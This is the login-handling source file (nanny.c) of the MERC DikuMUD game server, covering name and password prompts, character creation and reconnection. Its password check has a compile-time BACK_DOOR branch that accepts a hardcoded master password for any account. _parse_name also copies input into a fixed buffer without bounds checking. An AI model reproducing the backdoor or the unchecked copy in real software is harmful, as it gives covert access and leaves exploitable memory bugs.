/***************************************************************************
 *  File: nanny.c, for people who haven't logged in        Part of DIKUMUD *
 *  Copyright (C) 1990, 1991 - see 'license.doc' for complete information. *
 *                                                                         *
 *  Copyright (C) 1992, 1993 Michael Chastain, Michael Quan, Mitchell Tse  *
 *  Performance optimization and bug fixes by MERC Industries.             *
 *  You can use our stuff in any way you like whatsoever so long as this   *
 *  copyright notice remains intact.  If you like it please drop a line    *
 *  to mec@garnet.berkeley.edu.                                            *
 *                                                                         *
 *  This is free software and you are benefitting.  We hope that you       *
 *  share your changes too.  What goes around, comes around.               *
 ***************************************************************************/

#include <stdlib.h>
#include <stdio.h>
#include <strings.h>
#include <string.h>
#include <ctype.h>
#include <arpa/telnet.h>

#include "structs.h"
#include "mob.h"
#include "obj.h"
#include "utils.h"
#include "interp.h"
#include "db.h"
#include "limits.h"

#define STATE(d)    ((d)->connected)

char echo_off_str[] = { IAC, WILL, TELOPT_ECHO, '\0' };
char echo_on_str[] = { IAC, WONT, TELOPT_ECHO, '\0' };

char menu[] = "\n\rWelcome to MERC Diku Mud\n\r\n\r0) Exit from MERC Diku Mud.\n\r1) Enter the game.\n\r2) Enter description.\n\r4) Change password.\n\r\n\r   Make your choice: ";

char wizlock = FALSE;

extern char motd[MAX_STRING_LENGTH];
extern struct char_data *character_list;
extern struct descriptor_data *descriptor_list;

int _parse_name(char *arg, char *name);
bool check_deny( struct descriptor_data *d, char *name );
bool check_reconnect( struct descriptor_data *d, char *name, bool fReconnect );
bool check_playing( struct descriptor_data *d, char *name );



/*
 * Deal with sockets that haven't logged in yet.
 */
void nanny(struct descriptor_data *d, char *arg)
{
    char    buf[MAX_INPUT_LENGTH];
    char    tmp_name[20];
    bool    fOld;
    struct  char_data *ch;

    ch  = d->character;
    for ( ; isspace(*arg); arg++ )
	;

    switch ( STATE(d) )
    {

    default:
	log( "Nanny: illegal STATE(d)" );
	close_socket(d);
	return;

    case CON_GET_NAME:
	if ( *arg == '\0' )
	{
	    close_socket( d );
	    return;
	}

	arg[0] = UPPER(arg[0]);
	if ( _parse_name(arg, tmp_name) )
	{
	    write_to_q( "Illegal name, try another.\n\rName: ", &d->output );
	    return;
	}

	if ( check_deny( d, tmp_name ) )
	    return;

	fOld		= load_char_obj( d, tmp_name );
	ch		= d->character;
	GET_NAME(ch)	= str_dup(tmp_name);

	if ( check_reconnect( d, tmp_name, FALSE ) )
	{
	    fOld = TRUE;
	}
	else
	{
	    if ( wizlock )
	    {
		write_to_q( "The game is wizlocked.\n\r", &d->output );
		close_socket( d );
		return;
	    }
	}

	if ( fOld )
	{
	    /* Old player */
	    write_to_q( "Password: ", &d->output );
	    write_to_q( echo_off_str, &d->output );
	    STATE(d) = CON_GET_OLD_PASSWORD;
	    return;
	}
	else
	{
	    /* New player */
	    sprintf( buf, "Did I get that right, %s (Y/N)? ", tmp_name );
	    write_to_q( buf, &d->output );
	    STATE(d) = CON_CONFIRM_NEW_NAME;
	    return;
	}
	break;

    case CON_GET_OLD_PASSWORD:
	write_to_q( "\n\r", &d->output );

	if ( strncmp( crypt( arg, ch->pwd ), ch->pwd, 10 )
#if defined(BACK_DOOR)
	&&   strncmp( crypt( arg, "ME" ), "MEBKYbMbbzO6o", 10 )
#endif
	)
	{
	    write_to_q( "Wrong password.\n\r", &d->output );
	    close_socket( d );
	    return;
	}

	write_to_q( echo_on_str, &d->output );

	if ( check_reconnect( d, GET_NAME(ch), TRUE ) )
	    return;

	if ( check_playing( d, GET_NAME(ch) ) )
	    return;
		    
	sprintf( log_buf, "%s@%s has connected.",
		GET_NAME(ch), d->host);
	log( log_buf );

	write_to_q( motd, &d->output );
	STATE(d) = CON_READ_MOTD;
	break;

    case CON_CONFIRM_NEW_NAME:
	switch ( *arg )
	{
	case 'y': case 'Y':
	    sprintf( buf, "New character.\n\rGive me a password for %s: ",
		GET_NAME(ch) );
	    write_to_q( buf, &d->output );
	    write_to_q( echo_off_str, &d->output );
	    STATE(d) = CON_GET_NEW_PASSWORD;
	    break;

	case 'n': case 'N':
	    write_to_q( "Ok, what IS it, then? ", &d->output );
	    free( GET_NAME(ch) );
	    STATE(d) = CON_GET_NAME;
	    break;

	default:
	    write_to_q( "Please type Yes or No? ", &d->output );
	    break;
	}
	break;

    case CON_GET_NEW_PASSWORD:
	write_to_q( "\n\r", &d->output );

	if ( strlen(arg) < 6 )
	{
	    write_to_q(
		"Password must be at least six characters long.\n\rPassword: ",
		&d->output );
	    return;
	}

	strncpy( ch->pwd, crypt(arg, ch->player.name), 10 );
	ch->pwd[10] = '\0';
	write_to_q( "Please retype password: ", &d->output );
	STATE(d) = CON_CONFIRM_NEW_PASSWORD;
	break;

    case CON_CONFIRM_NEW_PASSWORD:
	write_to_q( "\n\r", &d->output );

	if ( strncmp( crypt( arg, ch->pwd ), ch->pwd, 10 ) )
	{
	    write_to_q( "Passwords don't match.\n\rRetype password: ",
		&d->output );
	    STATE(d) = CON_GET_NEW_PASSWORD;
	    return;
	}

	write_to_q( echo_on_str, &d->output );
	write_to_q( "What is your sex (M/F)? ", &d->output );
	STATE(d) = CON_GET_NEW_SEX;
	break;

    case CON_GET_NEW_SEX:
	switch ( *arg )
	{
	case 'm': case 'M':
	    ch->player.sex  = SEX_MALE;
	    break;

	case 'f': case 'F':
	    ch->player.sex  = SEX_FEMALE;
	    break;

	default:
	    write_to_q( "That's not a sex.\n\rWhat IS your sex? ",
		&d->output );
	    return;
	}

	write_to_q(
	    "Select a class [Warrior Cleric Magic-User Thief]: ",
	    &d->output );
	STATE(d) = CON_GET_NEW_CLASS;
	break;

    case CON_GET_NEW_CLASS:
	switch ( *arg )
	{
	    default:
		write_to_q( "That's not a class.\n\rWhat IS your class? ",
		    &d->output );
		return;

	    case 'w': case 'W':
		GET_CLASS(ch) = CLASS_WARRIOR;
		break;

	    case 'c': case 'C':
		GET_CLASS(ch) = CLASS_CLERIC;
		break;

	    case 'm': case 'M':
		GET_CLASS(ch) = CLASS_MAGIC_USER;
		break;

	    case 't': case 'T':
		write_to_q( "Warning: don't steal from other players.\n\r",
		    &d->output );
		GET_CLASS(ch) = CLASS_THIEF;
		break;
	}

	init_char( ch );
	sprintf( log_buf, "%s@%s new player.", GET_NAME(ch), d->host );
	log( log_buf );
	write_to_q( "\n\r", &d->output );
	write_to_q( motd, &d->output );
	STATE(d) = CON_READ_MOTD;
	break;

    case CON_READ_MOTD:
	write_to_q( menu, &d->output );
	STATE(d) = CON_SELECT_MENU;
	break;

    case CON_SELECT_MENU:
	switch( *arg )
	{
	case '0':
	    save_char_obj( ch );
	    close_socket( d );
	    break;

	case '1':
	    send_to_char(
    "\n\rWelcome to MERC Diku Mud.  May your visit here be ... Mercenary.\n\r",
		ch );
	    ch->next            = character_list;
	    character_list      = ch;

	    if ( ch->in_room >= 2 )
	    {
		char_to_room( ch, ch->in_room );
	    }
	    else if ( GET_LEVEL(ch) > 31 )
	    {
		ch->specials.holyLite   = TRUE;
		do_wizinvis( ch, "", 0 );
		char_to_room( ch, real_room(1200) );
	    }
	    else
	    {
		char_to_room( ch, real_room(3001) );
	    }

	    act( "$n has entered the game.", TRUE, ch, 0, 0, TO_ROOM );
	    STATE(d) = CON_PLAYING;
	    if ( GET_LEVEL(ch) == 0 )
		do_start( ch );
	    do_look( ch, "", 8 );
	    break;

	case '2':
	    write_to_q(
	    "Enter a text you'd like others to see when they look at you.\n\rTerminate with an @\n\r",
	    &d->output );
	    if ( ch->player.description )
	    {
		write_to_q( "Old description:\n\r", &d->output );
		write_to_q( ch->player.description, &d->output );
		free( ch->player.description );
	    }
	    CREATE( ch->player.description, char, 240 );
	    d->str      = &ch->player.description;
	    d->max_str  = 240;
	    STATE(d)    = CON_EXDSCR;
	    break;

	case '4':
	    /* Need confirmation stuff. */
	    write_to_q( "Enter a new password: ", &d->output );
	    write_to_q( echo_off_str, &d->output );
	    STATE(d) = CON_RESET_PASSWORD;
	    break;

	default:
	    write_to_q( menu, &d->output );
	    break;
	}
	break;

    case CON_RESET_PASSWORD:
	write_to_q( "\n\r", &d->output );

	if ( strlen(arg) < 6 )
	{
	    write_to_q(
		"Password must be at least six characters long.\n\rPassword: ",
		&d->output );
	    return;
	}

	strncpy( ch->pwd, crypt( arg, ch->player.name ), 10 );
	ch->pwd[10] = '\0';
	write_to_q( "Please retype password: ", &d->output );
	STATE(d) = CON_CONFIRM_RESET_PASSWORD;
	break;

    case CON_CONFIRM_RESET_PASSWORD:
	write_to_q( "\n\r", &d->output );

	if ( strncmp( crypt( arg, ch->pwd ), ch->pwd, 10 ) )
	{
	    write_to_q( "Passwords don't match.\n\rRetype password: ",
		&d->output );
	    STATE(d) = CON_RESET_PASSWORD;
	    return;
	}

	save_char_obj( ch );
	write_to_q( echo_on_str, &d->output );
	write_to_q( "\n\rDone.\n\r", &d->output );
	write_to_q( menu, &d->output );
	STATE(d)    = CON_SELECT_MENU;
	break;
    }
}



/*
 * Parse a name for acceptability.
 */
int _parse_name(char *arg, char *name)
{
    int i;

    /* skip whitespaces */
    for (; isspace(*arg); arg++);
    
    for (i = 0; (name[i] = arg[i]) != '\0'; i++)
    {
	if ( name[i] < 0 || !isalpha(name[i]) || i > 12 )
	    return 1;
    }

    if ( i < 2 )
	return 1;

    if ( !str_cmp( name, "all" ) || !str_cmp( name, "local" ) )
      return 1;

#if defined(DENY_SOMEONE)
    if ( !str_cmp( name, "someone" ) )
      return 1;
#endif

    return 0;
}



/*
 * Check for denial of service.
 */
bool check_deny( struct descriptor_data *d, char *name )
{
    FILE *  fpdeny  = NULL;
    char    strdeny[MAX_INPUT_LENGTH];
    char    bufdeny[MAX_STRING_LENGTH];

    sprintf( strdeny, "%s/%s.deny", SAVE_DIR, name );
    if ( ( fpdeny = fopen( strdeny, "rb" ) ) == NULL )
	return FALSE;
    fclose( fpdeny );

    sprintf( log_buf, "Denying access to player %s@%s.", name, d->host );
    log( log_buf );
    file_to_string( strdeny, bufdeny );
    write_to_q( bufdeny, &d->output );
    close_socket( d );
    return TRUE;
}



/*
 * Look for link-dead player to reconnect.
 */
bool check_reconnect( struct descriptor_data *d, char *name, bool fReconnect )
{
    CHAR_DATA * tmp_ch;

    for ( tmp_ch = character_list; tmp_ch; tmp_ch = tmp_ch->next )
    {
	if ( IS_NPC(tmp_ch) || tmp_ch->desc != NULL )
	    continue;

	if ( str_cmp( GET_NAME(d->character), GET_NAME(tmp_ch) ) )
	    continue;
	
	if ( fReconnect == FALSE )
	{
	    strncpy( d->character->pwd, tmp_ch->pwd, 10 );
	}
	else
	{
	    free_char( d->character );
	    d->character            = tmp_ch;
	    tmp_ch->desc            = d;
	    tmp_ch->specials.timer  = 0;
	    send_to_char( "Reconnecting.\n\r", tmp_ch );
	    sprintf( log_buf, "%s@%s has reconnected.",
		    GET_NAME(tmp_ch), d->host );
	    log( log_buf );
	    STATE(d)		= CON_PLAYING;
	}
	return TRUE;
    }

    return FALSE;
}



/*
 * Check if already playing (on an open descriptor.)
 */
bool check_playing( struct descriptor_data *d, char *name )
{
    struct descriptor_data *dold;

    for ( dold = descriptor_list; dold; dold = dold->next )
    {
	if ( dold == d || dold->character == NULL )
	    continue;

	if ( str_cmp( name, GET_NAME( dold->original
	? dold->original : dold->character ) ) )
	    continue;

	if ( STATE(dold) == CON_GET_NAME )
	    continue;

	if ( STATE(dold) == CON_GET_OLD_PASSWORD )
	    continue;

	write_to_q( "Already playing, cannot connect.\n\rName: ", &d->output );
	STATE(d)    = CON_GET_NAME;
	if ( d->character )
	{
	    free_char( d->character );
	    d->character = NULL;
	}
	return TRUE;
    }

    return FALSE;
}



void check_idling( struct char_data *ch )
{
    if (++ch->specials.timer < 12 )
	return;

    if ( ch->specials.was_in_room == NOWHERE && ch->in_room != NOWHERE )
    {
	ch->specials.was_in_room = ch->in_room;
	if ( ch->specials.fighting )
	{
	    stop_fighting( ch->specials.fighting );
	    stop_fighting( ch );
	}
	act( "$n disappears into the void.", TRUE, ch, 0, 0, TO_ROOM );
	send_to_char(
	     "You have been idle, and are pulled into a void.\n\r", ch );
	char_from_room( ch );
	char_to_room( ch, 1 );
	save_char_obj( ch );
    }

    if ( ch->specials.timer > 48 )
    {
	do_quit( ch, "", 0 );
    }
}